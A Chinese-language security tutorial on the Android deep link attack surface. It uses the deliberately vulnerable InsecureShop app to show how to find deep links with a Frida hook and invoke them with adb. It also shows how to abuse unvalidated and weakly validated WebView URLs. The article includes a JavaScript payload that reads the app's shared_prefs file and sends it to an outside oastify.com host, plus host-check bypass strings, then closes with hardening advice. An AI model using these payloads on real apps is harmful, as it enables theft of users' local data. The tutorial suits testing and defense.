Deep Link 介绍
概念
`Android Deep Link(深层链接)`[1] 是一种特殊的链接协议,主要用于在应用程序之间导航和交互,使用 Deep Link 可以从一个 APP 跳转到另一个 APP 中相应的页面,实现 APP 间的无缝跳转。
举个大家熟悉的例子,浏览器打开知乎时,会提示“打开 App”,点击后,如果安装过知乎则会直接跳到应用的对应页面,如果没安装则跳转到下载应用页。
不过需要注意的是,上面的 没安装则跳转到下载应用页 是 Deferred deeplink(延迟深度链接)
,他和基础的 deeplink 相比,如果用户没有下载 APP,则引导用户下载安装该 APP,且在安装启动后立即跳转到指定的页面或功能中。
Deferred Deep Link
可以提高用户的体验和应用程序的转化率,因为它可以让用户直接跳转到指定的页面或功能,而无需手动查找。
应用场景
-
一键跳转: 在应用内部或应用外部直接跳转到指定页面或执行特定操作的功能。 -
传参安装: 在应用市场或者推广渠道传递参数,以便在用户安装应用后,应用可以根据传递的参数自动进行初始化或者展示特定页面。 -
分享闭环: 在应用内分享一个商品链接,用户点击链接可以直接跳转到商品详情页面。 -
无码邀请: 在应用内点击邀请好友的按钮,可以生成一个唯一的邀请链接,并在邀请过程中跳转到应用内的注册页面。 -
渠道追踪: 通过 deeplink 跳转到应用市场,可以记录该用户从哪个推广渠道下载应用,并将该信息传递给应用后台进行数据统计和分析。
提取并调用 APP 中的 Deep Link
测试 APP:https://github.com/hax0rgb/InsecureShop/releases
方法一:从 AndroidManifest 中提取
在AndroidManifest.xml
中寻找android:scheme
可以看出,使用insecureshop://com.insecureshop/
可以启动com.insecureshop.WebViewActivity
这个组件。
方法二:使用 MobSF
方法三:使用 Frida
通过 frida hook 进行监听,js 脚本如下
//Modified version of <https://codeshare.frida.re/@leolashkevych/android-deep-link-observer/>
//frida -U -p pid -l script.js
// Define a global object to store previously seen intents
var seenIntents = {};
Java.perform(function() {
var Intent = Java.use("android.content.Intent");
Intent.getData.implementation = function() {
var action = this.getAction() !== null ? this.getAction().toString() : false;
if (action) {
// Create a unique key for the current intent by concatenating its action and data URI
var key = action + '|' + (this.getData() !== null ? this.getData().toString() : '');
// Check if this intent has been seen before
if (seenIntents.hasOwnProperty(key)) {
return this.getData();
} else {
// Mark this intent as seen by adding it to the global object
seenIntents[key] = true;
console.log("[*] Intent.getData() was called");
console.log("[*] Activity: " + (this.getComponent() !== null ? this.getComponent().getClassName() : "unknown"));
console.log("[*] Action: " + action);
var uri = this.getData();
if (uri !== null) {
console.log("\n[*] Data");
uri.getScheme() && console.log("- Scheme:\t" + uri.getScheme() + "://");
uri.getHost() && console.log("- Host:\t\t/" + uri.getHost());
uri.getQuery() && console.log("- Params:\t" + uri.getQuery());
uri.getFragment() && console.log("- Fragment:\t" + uri.getFragment());
console.log("\n\n");
} else {
console.log("[-] No data supplied.");
}
}
}
return this.getData();
}
});
hook
# 找到system的pid
frida-ps -U | grep system_server
# hook
frida -U -l deeplink.js -p 7309
方法四:网页
这个方法不是很好用,但是有助于在挖掘的时候发现一些 deep link
还是以知乎为例,打开控制台,点击“打开 APP”后,观察报错,就可以拿到对应的 deep link。
调用
一般为了方便,使用adb
进行调用,命令如下:
adb shell am start -W -a android.intent.action.VIEW -d <deeplink>
也可以写一个 html,然后让手机访问后点击调用(模拟真实的攻击环境)
<a href="<deeplink>">Click</a>
但是调用前,我们还需要拿到对应的路由和参数,跟踪到对应的组件中,分析如何构造,详见下方举例[2]。
攻击面分析
还是需要根据具体情况具体分析,看自己可控的部分有哪些。
URL 无验证
完全没有验证加载的 URL 地址。
分析如图:
-
如果路由是 /web
,则会进入else
中 -
从参数 url
中取值给 data -
通过 webview
加载 data
所以利用调用的命令如下:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://blog.gm7.org/"
效果如下,成功打开了我的博客
弱主机验证
验证了 HOST,但可以被绕过。
分析如图:
-
路由不是 /web
但路由是/webview
-
从参数 url
中取值给queryParameter
-
判断 queryParameter
是否以insecureshopapp.com
结尾的 -
如果是,就把 url 的值赋值给 data -
通过 webview
加载 data
这里只是要求了结尾必须出现特定的字符串,所以很简单,如:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/webview?url=https://blog.gm7.org/?insecureshopapp.com"
就是常规的 URL 跳转绕过,可以用?
,也可以用#
,还可以用参数格式a=insecureshopapp.com
等等。
窃取本地数据
在上面 2 个基础上进行深入利用,但我感觉有点鸡肋,因为 http 协议无法跨域到 file 协议,就只能从 file 协议跨到 file 协议
上述 2 处其实都和 URL 跳转差不多,可以控制跳转到任意网站中,但这里由于是在手机客户端上执行的,所以也可以尝试通过file
协议访问到手机本地的一些敏感文件,从而尝试窃取。
不过要窃取本地文件,有 2 个前置条件:
-
setAllowUniversalAccessFromFileURLs(true)
:默认情况下,Android WebView 不允许跨域访问本地文件系统,即getAllowUniversalAccessFromFileURLs()
方法的返回值为false
,如果要在 WebView 中允许跨域访问本地文件系统,则需要使用setAllowUniversalAccessFromFileURLs()
方法来设置该选项为true
-
setJavaScriptEnabled(true)
:默认情况下,WebView 不支持 JavaScript 代码执行,如果想要支持 js 代码,就需要调用setJavaScriptEnabled(true)
这个方法,开启 js 代码执行。
在漏洞环境中,这两个条件都是满足的,也就可以开始窃取了。
假设存在敏感文件:/data/data/com.insecureshop/shared_prefs/Prefs.xml
然后我们进行加载敏感文件:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/Prefs.xml"
如下图,能访问到本地的文件。
但仅仅是这样还不够,因为只能访问到,不能说是窃取了,因此需要进一步通过 js 来获取数据。
编写 html,将其保存为hello.html
<script type="text/javascript">
function theftFile(path, callback) {
var req = new XMLHttpRequest();
req.open("GET", "file://" + path, true);
req.onload = function(e) {
callback(req.responseText);
}
req.onerror = function(e) {
callback(null);
}
req.send();
}
var file = "/data/data/com.insecureshop/shared_prefs/Prefs.xml";
theftFile(file, function(contents) {
location.href = "http://x42yrqsoq9fo74gv3bqtbfhfx63yrn.oastify.com/?data=" + encodeURIComponent(contents);
});
</script>
将其上传到可访问的目录下,然后通过 webview 来加载这个 html
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/hello.html"
成功获取到了数据。
[!NOTE]
这里只能从 file 协议到 file 协议才可以成功,如果从 http 协议到 file 协议,异常日志为:
Cross origin requests are only supported for protocol schemes: http, data, chrome, https.
所以这里也是为什么认为利用比较鸡肋的地方。
其他
弱主机验证-升级版
通过uri.getHost()
获取 host
private boolean isValidUrl(String url) {
Uri uri = Uri.parse(url);
return "legitimate.com".equals(uri.getHost());
}
绕过 payload,通过其他协议。
javascript://legitimate.com/%0aalert(1)
file://legitimate.com/sdcard/exploit.html
content://legitimate.com/
防护建议
-
对传入的内容进行检查清洗,根据业务要求设置白名单等。 -
如果 setJavaScriptEnabled
设置为true
,则要对加载的 JS 内容严格验证。 -
尽可能的将如下函数的返回值设置为 False -
getAllowFileAccess
-
getAllowFileAccessFromFileURLs
-
getAllowUniversalAccessFromFileURLs
参考链接
-
Android Deep Link Issues And WebView Exploitation | 8kSec Blogs[3] -
Android security checklist: WebView[4]
参考资料
Android Deep Link(深层链接)
: https://developer.android.com/training/app-links?hl=zh-cn
下方举例: #url无验证
[3]Android Deep Link Issues And WebView Exploitation | 8kSec Blogs: https://8ksec.io/android-deeplink-and-webview-exploitation-8ksec-blogs/
[4]Android security checklist: WebView: https://blog.oversecured.com/Android-security-checklist-webview/
– END –
原文始发于微信公众号(初始安全):Android Deep Link 攻击面